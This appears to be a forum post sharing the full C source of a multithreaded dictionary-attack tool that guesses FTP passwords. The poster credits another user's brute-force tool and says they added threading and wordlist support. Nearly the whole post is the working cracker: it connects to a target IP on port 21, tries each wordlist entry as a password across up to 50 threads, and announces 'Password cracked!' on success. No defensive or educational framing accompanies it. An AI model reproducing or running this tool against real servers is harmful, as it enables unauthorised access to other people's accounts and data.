Credit goes out to a59. This was built from his FTP brute force tool. I simply added threading and made it a dictionary based attack. Ain't nobody got time for brute forcing these days. There are some awesome wordlists out there.
Edit: I also made it *nix based. Sorry Windows users. Though, It would be easy to port if one was so inclined.
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<stdlib.h>
#include<arpa/inet.h>
#include<pthread.h>
#define MAX_BYTES 64
FILE *wordlist;
int cracked = 0;
int try_again = 1;
char *username;
struct sockaddr_in server;
void *trylogin ( void *word);
int main( int argc, char *argv[] )
{
int i,j;
int show_tries = 0;
int stop_flag = 0;
char *a_word = (char *)malloc(MAX_BYTES+1);
char *thread_word = (char *)malloc(MAX_BYTES+1);
size_t bytes = MAX_BYTES;
int num_threads;
if( argc < 5 || argc > 6 )
{
fprintf(stderr,"Usage: %s <username> <wordlist> <IPaddress> <threads> <print tries [1|0]>\n",argv[0]);
fprintf(stderr,"Example: %s Admin mywords 192.168.1.1 25 1\n",argv[0]);
return -1;
}
username = argv[1];
wordlist = fopen(argv[2],"r");
num_threads = (atoi(argv[4]) -1);
if(num_threads < 0)
{
puts("Can't have 0 threads!");
return -1;
}
pthread_t thread[num_threads];
if(argc == 6)
show_tries = atoi(argv[5]);
if(atoi(argv[4]) > 50)
{
fprintf(stderr,"That's too many threads. Keep it below 50.\n");
return -1;
}
memset(&server,0,sizeof(server));
server.sin_family=AF_INET;
server.sin_addr.s_addr = inet_addr(argv[3]);
server.sin_port = htons(atoi("21"));
while(cracked != 1 && stop_flag != 1)
{
for(i=0;i<=num_threads;i++)
{
if(getline(&a_word,&bytes,wordlist) <= 0)
{
stop_flag = 1;
break;
}
a_word[strlen(a_word)-1] = '\0'; /* remove linefeed from line */
if(show_tries)
printf("Trying \"%s\"...\n", a_word);
thread_word = strdup(a_word); /* otherwise all threads would work on last password read from wordlist */
pthread_create( &thread[i], NULL, &trylogin, (void*) thread_word );
}
/* join main() with the spawned threads. this is so we don't leave the threads hanging. */
for(j=0;j<i;j++)
{
pthread_join(thread[j],NULL);
}
if(stop_flag ==1)
break;
}
pthread_exit(NULL);
fclose(wordlist);
return 0;
}
void *trylogin ( void *word)
{
char recvbuff[ 150 ];
char sendbuff[ 64 ];
pthread_t try_again_thread;
int ftpsock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cracked = 0;
ftpsock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if( connect( ftpsock,(struct sockaddr *) &server,sizeof(server)) < 0 )
{
puts("Server rejected our connection. Did you provide an IP address?");
pthread_exit(NULL);
}
/* after we get a valid connection, start the login process */
recv( ftpsock, recvbuff, sizeof( recvbuff ), 0 );
strtok( recvbuff, " " );
if(atoi(recvbuff) == 220)
{
sprintf( sendbuff, "USER %s\r\n", username );
send( ftpsock, sendbuff, strlen( sendbuff ), 0 );
}
else
{
if(try_again == 1)
{
fprintf(stderr,"FTP server refused connection. Trying again. Probably too many threads.\n");
sleep(1);
try_again = 0;
pthread_create( &try_again_thread, NULL, &trylogin, (void*) word );
}
pthread_exit(NULL);
}
recv( ftpsock, recvbuff, sizeof( recvbuff ), 0 );
strtok( recvbuff, " " );
if(atoi(recvbuff) == 331)
{
sprintf( sendbuff, "PASS %s\r\n", (char *)word);
send( ftpsock, sendbuff, strlen( sendbuff ), 0 );
}
else
{
fprintf(stderr,"Didn't receive 331. Timeout?\n");
pthread_exit(NULL);
}
recv( ftpsock, recvbuff, sizeof( recvbuff ), 0 );
strtok( recvbuff, " " );
if(atoi(recvbuff) == 230)
{
sprintf( sendbuff, "bye\r\n" );
send( ftpsock, sendbuff, strlen( sendbuff ), 0 );
printf("\nPassword cracked! -- %s\n\n\t...waiting for threads to finish...\n", (char *) word);
cracked = 1;
pthread_exit(NULL);
}
close(ftpsock);
pthread_exit(NULL);
}